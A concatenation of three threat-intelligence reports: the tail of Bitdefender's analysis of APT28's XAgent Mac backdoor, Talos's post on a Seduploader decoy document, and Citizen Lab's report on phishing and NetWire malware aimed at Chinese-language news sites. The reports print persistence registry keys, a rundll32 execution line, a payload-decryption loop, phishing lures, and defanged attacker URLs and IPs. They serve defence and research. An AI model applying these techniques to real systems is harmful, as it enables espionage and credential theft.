_downloadFile:toDirectory:fromServer:] -[FTPManager uploadData:withFileName:toServer:] 8. InjectApp: Leverages existing higher-level vel interprocess communication mechanisms by sending an kASAppleScriptSuite/ kGetAEUTused event to a process to make it load Apple scripting additions. It then sends another event to inject in to the following Mac system processes: mdworker SystemUIServer Dock loginwindow UserEventAgent -[InjectApp injectRunningApp] -[InjectApp isInjectable:] -[InjectApp sendEventToPid:] 9. InfoOS: Gather information from the infected computer, such as: IOPlatformUUID, process list, operating system version. 10. Keylogger: Records any keystroke from user activity on the system. -[Keylogger activeAppDidChange:] -[Keylogger addNotificationForActiveApp] -[Keylogger checkAccesibility] -[Keylogger checkSpecialKey:] -[Keylogger disableLogging] -[Keylogger enableLogging] -[Keylogger initEventTapAndStartRunLoop] -[Keylogger keyPressedeventMonitor] -[Keylogger pressedKeyWithKeyCode:andModifiers:] -[Keylogger removeNotificationForActiveApp] -[Keylogger sendLog] -[Keylogger setAccessibilityApplication] [12] White Paper -[Keylogger setKeyPressedeventMonitor:] -[Keylogger start] -[Keylogger status] -[Keylogger stop] 11. Launcher: This module is used for generating XAgent s file path on the infected system and to re-execute itself. The malware is located in the /Library/Assistants/.local/ path in a random directory with a name picked from a hardcoded list. Its filename is also picked from a hardcoded list. +[Launcher randomInteger:max:] +[Launcher generateRandomPathAndName] -[Launcher reloadItSelf:] -[Launcher checkProcessName] The malware is located in the /Library/Assistants/.local/ path in a random directory with a name picked from a hardcoded list. Its filename is also picked from a hardcoded list. Posible Directory Path /Library/Assistants/.local/.localized/ /Library/Assistants/.local/.com.apple.kshd/ /Library/Assistants/.local/.com.apple.erx/ /Library/Assistants/.local/.com.apple.fsg/ /Library/Assistants/.local/.com.apple.ulk/ /Library/Assistants/.local/.com.apple.wsat/ /Library/Assistants/.local/.com.apple.sksh/ /Library/Assistants/.local/.com.apple.ulkg/ /Library/Assistants/.local/.com.apple.updater/ Possible executable name kshd skgc mwwod rtsol paxs mpitil utyy exprd mpiwtil rtdl mpil sync nfod wsat nfsrfd scpo launchd Fres lanchd ntfs update lauhd mknod routr mnod route 12. RemoteShell: Used to execute remote commands received from the attacker on the infected machine. It lists installed applications as well as iPhone backups. -[RemoteShell dispatchCommand:] -[RemoteShell start:] -[RemoteShell executeShellCommand:] -[RemoteShell getInstalledApps] -[RemoteShell checkBackupIosDeviceFolder] [13] White Paper 13. Coder: Used for base64 encoding/decoding. Coder::b64Decode(char *,uint,uint *,char *) Coder::base64UrlEncode(uchar *,uint,uint *) Coder::b64Encode(uchar *,uint,uint *,char *) Coder::base64Decode(char *,uint,uint *) Coder::base64Encode(uchar *,uint,uint *) 14. Cryptor: The cryptographic engine used to encrypt communication with the C&C server. CryptoContainer::cryptRc4(uchar *,uint,uint) CryptoContainer::decryptData(uchar *,uint,uint *) Linux HTTPChannel HTTPChannel MainHandler AgentKernel CameraShot FileObserver FileSystem FileSystem FMServer FTPManager InjectApp Keylogger Keylogger Launcher Password RemoteShell RemoteShell ScreenShot Coder Coder Cryptor Cryptor Modules comparison with Linux [14] White Paper F. Conclusions State-sponsored threat actors go to great lengths to reach their goals. With clear objectives and generous research & development budgets, APT groups get the job done. It was just a matter of time until the APT28 group realized they were missing out on a serious cyber-weapon to target Mac OS X users. The discovery of the XAgent module once again reasserts the need for organizations to tackle computer security in a unified manner, regardless of the operating system mix they have deployed. Missing out on Macs or mobile phones because they are inherently secure gives determined attacks the opportunity they need to subvert individual devices and take over entire networks to exfiltrate information for months, if not years. [15] and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security provider in virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its number-one-ranked technology and its strategic alliances with the world s leading virtualization and cloud technology providers. More information is available at http://www.bitdefender.com/ All Rights Reserved. 2015 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners. FOR MORE INFORMATION VISIT: enterprise.bitdefender.com BD-Business-Feb.21.2017-Tk#: 70585 Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security provider in virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its number-one-ranked technology and its strategic alliances with the world s leading virtualization and cloud technology providers. More information is available at http://www.bitdefender.com/ All Rights Reserved. 2015 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners. FOR MORE INFORMATION VISIT: enterprise.bitdefender.com BD-Business-Jul.18.2017-Tk#: crea1572 Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors Cyber Conflict Decoy Document Used In Real Cyber Conflict blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html This post was authored by Warren Mercer, Paul Rascagneres and Vitor Ventura Update 10/23: CCDCOE released a statement today on their website Introduction Cisco Talos discovered a new malicious campaign from the well known actor Group 74 (aka Tsar Team, Sofacy, APT28, Fancy Bear ). Ironically the decoy document is a deceptive flyer relating to the Cyber Conflict U.S. conference. CyCon US is a collaborative effort between the Army Cyber Institute at the United States Military Academy and the NATO Cooperative Cyber Military Academy and the NATO Cooperative Cyber Defence Centre of Excellence. Due to the nature of this document, we assume that this campaign targets people with an interest in cyber security. Unlike previous campaigns from this actor, the flyer does not contain an Office exploit or a 0-day, it simply contains a malicious Visual Basic for Applications (VBA) macro. The VBA drops and executes a new variant of Seduploader. This reconnaissance malware has been used by Group 74 for years and it is composed of 2 files: a dropper and a payload. The dropper and the payload are quite similar to the previous versions but the author modified some public information such as MUTEX name, obfuscation keys... We assume that these modifications were performed to avoid detection based on public IOCs. The article describes the malicious document and the Seduploader reconnaissance malware, especially the difference with the previous versions. Malicious Office Document Decoy Document The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the following filename Conference_on_Cyber_Conflict.doc. It contains 2 pages with the logo of the organizer and the sponsors: Due to the nature of the document, we assume that the targeted people are linked or interested by the cybersecurity landscape. The exact content of the document can be found online on the conference website. The attackers probably copy/pasted it into Word to create the malicious document. The Office document contains a VBA script. Here is the code: The goal of this code is to get information from the properties of the document ("Subject", "Company", "Category", "Hyperlink base" and finally "Comments"). Some of this information can be directly extracted from the Windows explorer by looking at the properties of the file. The "Hyperlink Base" must be extracted using another tool, strings is capable of obtaining this by looking for long strings. Pay close attention to the contents of these fields as they appear base64 encoded. This extracted information is concatenated together to make a single variable. This variable is decoded with the base64 algorithm in order to get a Windows library (PE file) which is written to disk. The file is named netwf.dat. On the next step this file is executed by rundll32.exe via the KlpSvc export. We see that this file drops 2 additional files: netwf.bat and netwf.dll. The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden. We can also see 2 VBA variable names: PathPld, probably for Path Payload, and PathPldBt, for Path Payload Batch. Seduploader Variant Dropper Analysis As opposed to previous campaigns performed by this actor, this latest version does not contain privilege escalation and it simply executes the payload and configures persistence mechanisms. The dropper installs 2 files: netwf.bat : executes netwf.dll netwf.dll : the payload The dropper implements 2 persistence mechanisms: HKCU\Environment\UserInitMprLogonScript to execute the netwf.bat file COM Object hijack of the following CLSID: {BCDE0395-E52F-467C-8E3DC4579291692E}, the CLSID of the class MMDeviceEnumerator. These 2 techniques have also been previously used by this actor. Finally the payload is executed by rundll32.exe (and the ordinal #1 in argument) or by explorer.exe if the COM Object hijack is performed. In this case, explorer.exe will instance the MMDeviceEnumerator class and will execute the payload. Payload Analysis The payload features are similar to the previous versions of Seduploader. We can compare it to the sample e338d49c270baf64363879e5eecb8fa6bdde8ad9 used in May 2017 by Group 74. Of the 195 functions of the new sample, 149 are strictly identical, 16 match at 90% and 2 match at 80%: In the previous campaign where adversaries used Office document exploits as an infection vector, the payload was executed in the Office word process. In this campaign, adversaries did not use any exploit. Instead,the payload is executed in standalone mode by rundll32.exe. Adversaries also changed some constants, such as the XOR key used in the previous version. The key in our version is: key=b"\x08\x7A\x05\x04\x60\x7c\x3e\x3c\x5d\x0b\x18\x3c\x55\x64" The MUTEX name is different too: FG00nxojVs4gLBnwKc7HhmdK0h Here are some of the Seduploader features: Screenshot capture (with the GDI API); data/configuration exfiltration; Execution of code; File downloading; The Command & Control (CC) of the analysed sample is myinvestgroup[.]com. During the investigation, the server did not provide any configuration to the infected machines. Based on the metadata of the Office documents and the PE files, the attackers had created the file on Wednesday, the 4th of October. We can see, in Cisco Umbrella, a peak in activities 3 days later, Saturday the 7th of October: Conclusion Analysis of this campaign shows us once more that attackers are creative and use the news to compromise the targets. This campaign has most likely been created to allow the targeting of people linked to or interested by cybersecurity, so probably the people who are more sensitive to cybersecurity threats. In this case, Group 74 did not use an exploit or any 0-day but simply used scripting language embedded within the Microsoft Office document. Due to this change, the fundamental compromise mechanism is different as the payload is executed in a standalone mode. The reasons for this are unknown, but, we could suggest that they did not want to utilize any exploits to ensure they remained viable for any other operations. Actors will often not use exploits due to the fact that researchers can find and eventually patch these which renders the actors weaponized platforms defunct. Additionally the author did some small updates after publications from the security community, again this is common for actors of this sophisticated nature, once their campaigns have been exposed they will often try to change tooling to ensure better avoidance. For example the actor changed the XOR key and the MUTEX name. We assume that these modifications were performed in order to avoid detection based on public IOCs. Coverage Additional ways our customers can detect and block this threat are listed below. Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. Email Security can block malicious emails sent by threat actors as part of their campaign. Network Security appliances such asNGFW,NGIPS, andMeraki MX can detect malicious activity associated with this threat. AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. IOCs Files Office Documents: c4be15f9ccfecf7a463f3b1d4a17e7b4f95de939e057662c3f97b52f7fa3c52f e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae efb235776851502672dba5ef45d96cc65cb9ebba1b49949393a6a85b9c822f52 Seduploader Dropper: 522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805 Sedupload Payload: ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18 Networks myinvestgroup[.]com Insider Information An intrusion campaign targeting Chinese language news sites citizenlab.ca /2017/07/insider-information-an-intrusion-campaign-targeting-chinese-language-news-sites/ 7/5/2017 Key Findings This report reveals a campaign of reconnaissance, phishing, and malware operations that use content and domains made to mimic Chinese language news websites. We confirm the news portal China Digital Times was the target of a phishing operation and show how content and domains were made to mimic four other newsgroups in reconnaissance and malware operations: Mingjing News, Epoch Times, HK01, and Bowen Press. We cannot confirm if these other groups were directly targeted. These news websites report on issues sensitive to the government of China and are blocked in the country. However, this report does not conclusively attribute the campaign to a publicly reported threat actor or state sponsor. The malware operation made efforts to evade detection and frustrate analysis. The operation combined obfuscated, packed executables and custom shellcode with an additional step of using compromised servers to host the malicious payload. We identify the payload as NetWire, a commodity remote access trojan typically seen used in cybercrime activities and not commonly observed in Asia. We connect the infrastructure used in the campaign to previous malware operations targeting a Tibetan radio station and the Thai government. We also connect one of the code signing certificates we observed to a campaign targeting gaming companies. It is notable that NetWire was also used as a payload in that campaign. Summary A journalist at China Digital Times (CDT), (an independent Chinese and English language news portal), receives an email from a source claiming to have a tip on a sensitive story: I have insider information that is different from what ve published . The email includes a link to an article from the news portal. Clicking on the link displays the article with a pop-up message asking the journalist to enter their username and password in prompt designed to look like a WordPress login page. What is normally a routine interaction for the journalist has become increasingly threatening. The tip from the source is actually an attempt to steal the journalist s WordPress credentials used to manage and publish content to the news portal. The rouse used in the phishing email was clever, but it did not work. The journalist was immediately suspicious of the phishing attempts and shared them with researchers at the Citizen Lab to analyze, which led to the discovery of a wider campaign targeting Chinese language news sites using various tactics including reconnaissance, phishing, and malware. The campaign used domains and copied content that masqueraded as Epoch Times, Mingjing News, HK01, and Bowen Press. It is not clear if these other news groups were directly targeted. These organizations often report on issues that are politically sensitive to the government of China and their websites are blocked in the country. Our analysis of the infrastructure used in this campaign reveals connections to previous malware operations targeting Tibetan journalists and the Thai government. These incidents includes targets that are generally within the geopolitical interest of the government of China. However, this report does not conclusively attribute the campaign to a publicly reported threat actor or state sponsor. There are numerous incidents of journalists and news organizations reporting on China being targeted by digital 1/23 espionage operations. In 2009, as part of the GhostNet investigation, Citizen Lab found that China-based operators had infiltrated the mail servers of Associated Press offices in London and Hong Kong. Another investigation in 2009, by Nart Villeneuve and Greg Walton uncovered a targeted malware campaign against China-based journalists working at Reuters, the Straits Times, Dow Jones, Agence France Presse, and Ansa. In recent years other major news organizations, including the The New York Times, the Wall Street Journal, and the Washington Post, have reported intrusions of their networks and systems by China-based operators. In each incident, the operators were suspected to be sponsored by the government of China with the motivation of gathering information on Chinarelated reporting that the newspapers were covering. These historical incidents and the campaign we analyze in this report serve as a general reminder that the media are targets for digital espionage and, as a result, news organizations and journalists need to reflect on their business practices and behaviours and adopt a more systematic approach to information security. This report proceeds in five parts outlined below: Part 1: Phishing Operation Targeting China Digital Times This section describes phishing messages sent to China Digital Times and our subsequent investigation into the tactics and server infrastructure used in the operation. Part 2: Uncovering a Wider Campaign This section reveals how the operation against China Digital Times was part of a wider campaign of phishing, reconnaissance, and malware operations that used domains and content made to mimic four other Chineselanguage news organizations, Epoch Times, Mingjing News, HK01, and Bowen Press. Part 3: Malware Operation This section describes a malware operation that used content and domains made to mimic Chinese-language news organizations HK01 and Bowen Press. The malware operation made efforts to evade detection and frustrate analysis. The operation combined obfuscated, packed executables and custom shellcode with an additional step of using compromised servers to host the malicious payload. We identify the payload as NetWire, a commodity remote access trojan that is not commonly observed in Asia and typically seen used in cybercrime activities. Part 4: Campaign Connections This section links infrastructure used in the campaign against Chinese-language news site to previous malware campaigns targeting a Tibetan radio station and the Thai government. It also shows the same certificate information used to sign the malware in this campaign was used by other malware operations targeting gaming companies. Part 5: Discussion and Conclusions This section summarizes the characteristics of the campaign and how it reflects wider information security challenges for news organizations and journalists. Part 1: Phishing Operation Targeting China Digital Times This section describes a phishing messages sent to China Digital Times and our subsequent investigation into the tactics and server infrastructure used in the operation. A Suspicious Tip: I Have Insider Information China Digital Times is a multi-language news portal that reports on political issues in China and aggregates Internet 2/23 content that has been censored in the country. It was founded by Xiao Qiang, a Professor at the University of California, Berkeley who has been engaged in human rights activism since the 1989 Tiananmen Square Massacre. On February 12, 2017, a CDT staff member received an email from a person claiming to be a UC Berkeley student with insider information on claims made by (Guo Yungui) on hacker attacks against the Chinese language news site Mingjing News. The characters (Guo Yungui) appears to be a slight variation of Guo Wengui ( ), a Chinese billionaire who has gained notoriety after voicing allegations that high ranking officials in the Communist Party of China are engaged in corruption. In January 2017 he had an interview with Mingjing News in which he made further unconfirmed allegations regarding official corruption and abuse. Following this interview, the editor of Minjing News, claimed several sites and channels of Mingjing were attacked by vicious groups controlled by corrupt parties. The email sent to CDT included a link that directly referenced an IP address rather than a domain name. The staff member was immediately suspicious and did not click on the link (see below): Original Email Text From: papa papa hellomice@mail.com Date: February 13 2017 Subject: To: [REDACTED] hXXp://43.240.14.37/asdasdasadqddd12222111[.]php/article.asp=search.php English Translation From: papa papa hellomice@gmail.com Date: February 13 2017 Subject: I am a student of UC Berkeley. I want to get to know you and I have some explosive revelations for you To: [REDACTED] d like to reveal some detailed insider information on Guo Yungui s claims that Chinese hackers attacked Mingjing News website.hXXp://43.240.14.37/asdasdasadqddd12222111[.]php/article.asp=search.php Three days later, the staff member received another email offering insider information on the Mingjing attacks. This email included a link that, at first glance, appeared to be the domain of China Digital Times, but with a slight misspelling. Instead of chinadigitaltimes.net the link sent was chinadagitaltimes[.]net with an added instead of an in the word digital. A day after this email was sent, other staff members at CDT received similar emails with the same link (see below). Original Email Text From: sda daaa Date: February 14 2017 Subject: To: [REDACTED] :hXXp://www.chinadagitaltimes[.]net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic/ English Translation 3/23 From: sda daaa Date: February 14 2017 Subject: hi, I'd like to offer you some insider information. To: [REDACTED] I have the latest information on an article published by China Daily. It s about follow-ups on the incident of Chinese hackers and some insider information on the recent attacks against Mingjing News. Link to the article. hXXp://www.chinadagitaltimes[.]net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic/The information presented in the article is slightly different from the information I know. The link connects to a web page that mirrors content from the real CDT website displaying an article related to hacker groups from China (see Figure 1 for comparison of the real and fake content). Figure 1: Comparison of the real and fake CDT webpages. Visually, the content is identical. The only substantive difference between the real and fake content is a few lines of javascript code (see Figure 2). Figure 2: Snippet of Javascript code in the source of the fake China Digital Times webpage. The function of this code is to pop a window on the screen that says [Your login has expired, please log in again!] (see Figure 3). 4/23 Figure 3: Screenshot of the fake China Digital Times webpage and the popup message displayed. If the OK button is clicked, the user is forwarded to what appears to be a WordPress login page (see Figure 4). 5/23 Figure 4: Fake WordPress Login page Credentials entered into this page are sent to the operators. Following entry of credentials, users are forwarded to the real CDT site. The real CDT website runs on WordPress, and therefore the purpose of this phishing campaign is to steal credentials to the actual CDT website and gain access. The operators customized a fake domain to host real content and developed custom phishing pages for stealing the WordPress credentials demonstrating a substantial level of effort. Phishing Operation Timeline Through analysis of the server used to host the phishing pages and the phishing emails sent to CDT we documented the activities and timeline of the operation, which lasted for approximately 20 days (see Figure 5). The operation began with the operators scanning the real CDT website for vulnerabilities. Five days later the first phishing email was sent. The next day the operators registered the domain mimicking the CDT site, set up the fake site, and sent out phishing emails with links to it. Over the next week further phishing emails were sent to CDT. Through analysis of log files found on the server we observed what appears to be the operators testing the phishing page during this period. The last phishing email sent to CDT was on February 20. Eight days later the fake CDT website was taken down and no further phishing emails were sent. 6/23 Figure 5: Timeline of the phishing operation targeting China Digital Times Reconnaissance and phishing server This section provides analysis of the server used for reconnaissance and phishing activities. We find fake domains and content related to China Digital Times and Mingjing News on this server. The links sent in the emails to CDT are both on the same IP address: 43[.]240[.]14[.]37, hosted by Cloudie, a hosting provider based in Hong Kong. The link provided in the first phishing email sent to CDT included the full IP address of the server. hXXp://43.240.14.37/asdasdasadqddd12222111[.]php/article.asp=search.php Four days after the first phishing email was sent to CDT we accessed the content on the page and found it served content copied from a Mingjing News article about illicit sales of Chinese visas (See Figure 6 for comparison of the real and fake content). Figure 6: Comparison of the real and fake Mingjing news site The fake page did not render correctly and was missing content, which may be due to improper mirroring of the 7/23 content, or possibly because the page relies on external content in a location that changed since the initial copy. Comparing the legitimate page to the fake page finds no addition of code by the operator on the fake page. Reconnaissance Server Log Analysis We investigated the directory of the fake Minjing News page and found the content was modified on February 14, 2017 and discovered a file log.txt . This file is a custom log that captures three pieces of information from every visitor to the page: IP address, web browser user agent, and time visited (see Figure 7). There is no malicious content on the page. We suspect that the purpose of this page is to perform reconnaissance of targets by testing if users will click on the link, and by retrieving IP addresses and user agent information. Figure 7: Server directory containing the log.txt file. The first visit in the log file is on February 2, 2017 from the IP address 45[.]124[.]24[.]39 which is also hosted on Cloudie. This visit is likely from the operators because it was the first visit and from the same provider on which the server is hosted. There are also two visits in the logs within seconds of each other, from the IP address 125[.]86[.]123[.]47 (ChinaNet, Chongqing China) Examining the email headers from the phishing emails reveals two IP addresses, including the same Cloudie IP and another ChinaNet Chongqing IP (see below): 45[.]124[.]24[.]39 Cloudie HK 141[.]08[.]99[.]155: ChinaNet Chongqing We shared these IP addresses with CDT to check if the addresses had visited the real CDT website around the period of the phishing emails. We found that the Cloudie IP address (45[.]124[.]24[.]39) visited the real CDT web site 42,000 times on February 8 2017, during a four hour period. The rate of the requests, user agents utilized, and information requested indicates that these visits were attempts to enumerate HTTP paths on the website to test for vulnerabilities. This scan occurred less than a week before the operators staged the phishing page sent to CDT. Phishing Server Log Analysis 8/23 Between February 14 and 28, 2017, a direct visit to the URL hXXp://43[.]240[.]14[.]37 returned a copy of the CDT homepage (see Figure 8). Figure 8: Comparison of the real frontpage of CDT (as seen on day the emails were sent) and the fake webpage This fake homepage was not included in the emails sent to CDT. The operators potentially included this homepage if users clicked the link in the email and then viewed the top level URL to ensure they were on the right site (see below). Email Link: chinadagitaltimes[.]net/2016/07/chinese-hackers-blamed-multiple-breaches-fdic Home page: chinadagitaltimes[.]net The directory of chinadagitaltimes[.]net/2016/07 shows the content listed on the server and lists the last modified date of the content as February 15, 2017 (see Figure 9). Figure 9: An index listing on the phishing server. We found a file log.txt on the fake CDT home page and article web pages. This log file records the IP address, browser user agent, and timestamp of visitors to the pages. We found an additional log in the URL of the fake WordPress login page that captures username, password and date to record credentials that are entered. 9/23 The logs only included what we suspect to be fake credentials, which demonstrates the phishing attempts were unsuccessful. The first entry on February 16, 2017 may be a record of the operator testing the phishing page. username:1111----password:1111----2017-02-16 09:26:14 On February 28, we again see what appear to be test credentials added. username:12312----password:1232131----2017-02-28 10:25:33 Phishing Operation Final Stages On February 20, the CDT staff member who received the original phishing email was sent a follow-up email that responded to an auto away message from the staff member and reminded the recipient about the link that was sent. This was the last phishing email sent to CDT (see below): Original Email Text From: papa papa hellomice@mail.com To: [REDACTED] Date: February 20 2017 Subject: Fwd: [REDACTED] :) thx Sent: February 14 2017 From: [REDACTED] To: "papa papa"hellomice@mail.com Subject: Re: 2017-02-13 18:34 GMT-08:00 papa papa hellomice@mail.com hXXp://43.240.14.37/asdasdasadqddd12222111[.]php/article.asp=search.php English Translation From: papa papa hellomice@mail.com To: [REDACTED] Date: February 20 2017 Subject: Fwd: I am a student at UC Berkeley. I want to get to know you and I have some exclusive information to expose. I would like to publish an article. How do I register and log in? thx Sent: Tuesday, February 14, 2017 at 1:35 PM From: [REDACTED] Subject: Re: I am a student at UC Berkeley. I want to get to know you and I have some exclusive information to expose. To: papa papa hellomice@mail.com Thanks for the email. Unfortunately I don t have time before 20th this month. Please contact me again at the end of this month. Thank you.2017-02-13 18:34 GMT-08:00 papa papa hellomice@mail.com I would like to expose some materials to you. It is about the insider information of Guo Yungui s claim that Chinese hackers attacked Ming Jing News. hXXp://43.240.14.37/asdasdasadqddd12222111[.]php/article.asp=search.php 10/23 Later on the same day, the phishing pages and log files were taken offline serving a 404 error if visited. The bare IP of the server (43[.]240[.]14[.]37) also switched to returning a default CentOS test page. After the site was taken down on February 28 no additional phishing emails were sent and we observed no other activity. Analysis of passive DNS records and WHOIS registration information associated with the server infrastructure used to host the fake CDT page led to the discovery that the phishing operation targeting CDT was part of a wider campaign. Part 2: Uncovering a Wider Campaign This section reveals how the operation against China Digital Times was part of a wider campaign of phishing, reconnaissance, and malware operations that used domains and content made to mimic four other Chinese language news organizations. Infrastructure Connections After examining the server used to host the fake CDT page and referencing passive DNS records and WHOIS registration information, we found other fake domains registered by the same entity with copied content from Chinese-language news sites. Our analysis shows that the operators are using the fake domains for at least three different purposes: reconnaissance, phishing, and malware. We were only able to collect phishing emails sent to CDT and cannot confirm if the other media organizations were direct targets or if the fake domains were used to target other groups. Table 1 provides an overview of groups that the operator attempted to mimic through fake domains and / or copied content. Fake Domain Registered Organization China Digital Times Site contents copied Confirmed targeting Purpose Phishing Mingjing News Recon HK01 Malware Unknown Bowen Press Epoch Times Unknown The fake domains are linked by common WHOIS registration information, which shows they were all registered by the same entity. The WHOIS registration information used to register the fake CDT domain is as follows: Name: free tibet Mailing Address: Uniter states, Phoenix Arizona 86303 Phone: +1.2126881188 Email: aobama_5@yahoo.com We found a series of domains registered with the same information. The majority of these domains are designed to mimic domains of Chinese-language news sites. We resolved each domain to determine if they are active and which IP they resolve to (see Table 2). 11/23 Registration Date Real Organization secuerserver[.]com 2015-08-31 GoDaddy (secureserver.com) Not resolving bowenpres[.]com 2015-10-07 Bowen Press (bowenpress.com) Parked Page (GoDaddy) bowenpress[.]net 2015-10-07 Bowen Press (bowenpress.com) Parked Page (GoDaddy) bowenpress[.]org 2015-10-07 Bowen Press (bowenpress.com) Parked Page (GoDaddy) bowenpross[.]com 2015-10-07 Bowen Press (bowenpress.com) Parked Page (GoDaddy) datalink[.]one 2016-07-07 Gorillaservers chinadagitaltimes[.]net 2017-02-14 China Digital Times (chinadigitaltimes.net) Cloudie HK epochatimes[.]com Epoch Times (theepochtimes.com) Cloudie HK Domain 2017-02-27 Hosting Status (As of March 15th) The registration dates show the operators have been registering fake domains that mimic Chinese language news websites since 2015, when they registered domains made to look like the real domain of news site Bowen Press ( bowenpress[.]com). We investigated the servers hosting the domains and found the operators use two servers for different purposes: one for phishing and reconnaissance activities and another to serve malware. The phishing and reconnaissance server hosted the fake CDT domain, the fake Mingjing page, and a domain made to look like the legitimate domain of Epoch Times (a multilingual media organization started by Chinese-American Falun Gong supporters. On February 26 2017, the operators registered a fake domain mimicking the main Epoch Times domain (epochtimes[.]com), which adds an additional after epoch ( epochatimes[.]com). Following our discovery of the fake Epoch Times domain we notified the organization and shared indicators of compromise. Epoch Times found a Cloudie IP (103.200.31[.]164) that sent 24,183 requests during a 12 hour period on March 8, 2017 to the subscription page of Epoch Times at the URL subscribe.epochtimes.com. These requests appear to be attempts to enumerate HTTP paths, similar to the requests sent to China Digital Times on February 8. Given the timeframe of the registration of the fake Epoch Times domain, we suspect the operators may have moved from targeting CDT to Epoch Times. The fake Epoch Times domain was hosted on the same server as the fake CDT and Mingjing pages (43.240.14[.]37). However, we did not find content copied from any Epoch Times websites on the operator s infrastructure during the investigation and did not have any phishing emails reported to us. It is possible that the fake Epoch Times domain is being used for phishing or reconnaissance, but we are unable to confirm. In addition to phishing and reconnaissance activities the operators are also engaged in malware operations and have a dedicated server for this purpose. We discovered the malware server by resolving the domain: datalink[.]one, and found it hosted NetWire, a commodity remote access trojan, and included bait content and 12/23 domains designed to mimic Chinese-language news organizations HK01 and Bowen Press. Part 3: Malware Operation This section describes a malware operation that used content and domains made to mimic Chinese-language news organizations HK01 and Bowen Press. The malware operation made efforts to evade detection and frustrate analysis. The operation combined obfuscated, packed executables, and custom shellcode with an additional step of using compromised servers to host the malicious payload. We identify the payload as NetWire, a commodity remote access trojan that is not commonly observed in Asia and typically seen used in cybercrime activities. Malware server and analysis Our investigation of the malware operation began with analysis of the server used to host the malware. The malware server is on the IP address: 23[.]239[.]106[.]119 hosted by GorillaServers, a provider based in the United States. We found the server by resolving the domain datalink[.]one, which was one of the domains registered by the operators. On the server we found domains and copied content mimicking HK01 and Bowen Press, but cannot confirm if these groups were direct targets of the malware operation or if the content was used as lures to target other groups. Passive DNS records for the IP address: 23[.]239[.]106[.]119 show a number of other domains that we have connected to the operators including: Domains datalink[.]one get.adobe.com.bowenpress[.]org hk.secuerserver[.]com pop.secuerserver[.]com smtpout.secuerserver[.]com www.bowenpress[.]org www.mail.secuerserver[.]com www.secuerserver[.]com www.vnews[.]hk We found that some of these domains were used as command and control servers for the malware we found hosted on the domain. HK01 Lure When we first investigated the malware server on March 6, 2017 we found it was hosting what appears to be a copy of the frontpage of HK01, a Hong Kong-based news site (see Figure 10). 13/23 Figure 10: Comparison of real and fake HK01 webpages The copied version of the HK01 site is missing the centre content displayed on the real site. Instead it shows a link with the following text: Adobe Flash Player [Adobe Flash Player this version is outdated. Please click]. The link connects to: hXXp://get.adobe.com.bowenpress.org/Adobe/update/20161201/AdobeUpdate[.]html Clicking this link initiates a download of an executable and then forwards the user to the legitimate Adobe update site. These action are done through the following HTML code: We browsed the directory of 23[.]1239[.]1106[.]119/adobe/update and found three different sub directories that each served three different executables (see Figure 11). A fourth sub directory and fourth executable appeared on March 12, 2017. Analysis of these executables shows they are malware. 14/23 Figure 11: Server directory containing malicious executables. Malware Analysis The malicious binaries combined obfuscated, packed executables, and custom shellcode with an additional step of using compromised servers to host the malicious payload. We identify the final payload as NetWire, a commodity remote access trojan that is not commonly observed in Asia and typically seen used in cybercrime activities. The four executables we found in the Adobe update directory are named to appear as an update for Adobe Flash followed by a date stamp (e.g., AdobeUpdate20160703.exe). Each malware file was digitally signed: File Certificate Details AdobeUpdate20160703.exe Serial: 57 be 1a 00 d2 e5 9b db d1 95 24 aa a1 7e d9 3b Valid From: Thursday, November 19, 2015 5:45:01 PM Valid To: Saturday, November 19, 2016 5:45:01 PM AdobeUpdate20160812.exe Serial: 68 be c5 c0 26 4c c9 09 6d 2f b2 0a 98 86 e9 4d Valid From: Monday, June 15, 2015 4:00:00 PM Valid To: Thursday, June 15, 2017 3:59:59 PM 15/23 File Certificate Details AdobeUpdate20161201.exe Elex do Brasil Participa es Ltda AdobeUpdate20170312.exe Serial: 06 71 ee 52 6a cb 6f 9b e2 01 f5 a8 e2 03 c4 1c Valid From: Sunday, April 12, 2015 4:00:00 PM Valid To: Wednesday, July 12, 2017 3:59:59 PM All four samples are packed with VMProtect, software used to obfuscate source code to make anaylsis and reverse engineering more difficult. When executed the samples unpack and drop a second VMProtect-packed DLL to the following location: C:\Program Files\Common Files\Microsoft Shared\VGX\Stub.dll Before executing the dropped DLL via rundll32 as shown: rundll32.exe C:\Program Files\Common Files\Microsoft Shared\VGX\Stub.dll,Install COM+ Event This stub DLL unpacks itself and then gains persistence by creating a new autorun service: Log DLL edits the following registry keys to create this new service: . The HKLM\Software\Microsoft\Windows NT\CurrentVersion\SvcHost\EventSystemLog HKLM\System\CurrentControlSet\Services\EventSystemLog HKLM\System\CurrentControlSet002\Services\EventSystemLog HKLM\System\CurrentControlSet003\Services\EventSystemLog Once the DLL has gained persistence it starts the newly created service. When run as part of a service, the DLL unpacks itself and attempts to download what appears to be a jpg file hosted on one of three websites: a Chineselanguage news organization, a University, and a software company. Each of the 4 samples uses a different URL. Each of these files begins with a 631 byte jpg header followed by encrypted shellcode. The malware first decrypts the payload immediately after the jpg header using the following algorithm: for i = 0; i < len(payload); i++ payload[i] = (16 * ~((((payload[i] ^ 0x50) >> 4) ^ i) & 0xf) & 0xef) ^ payload[i] The decrypted payload begins with a short header 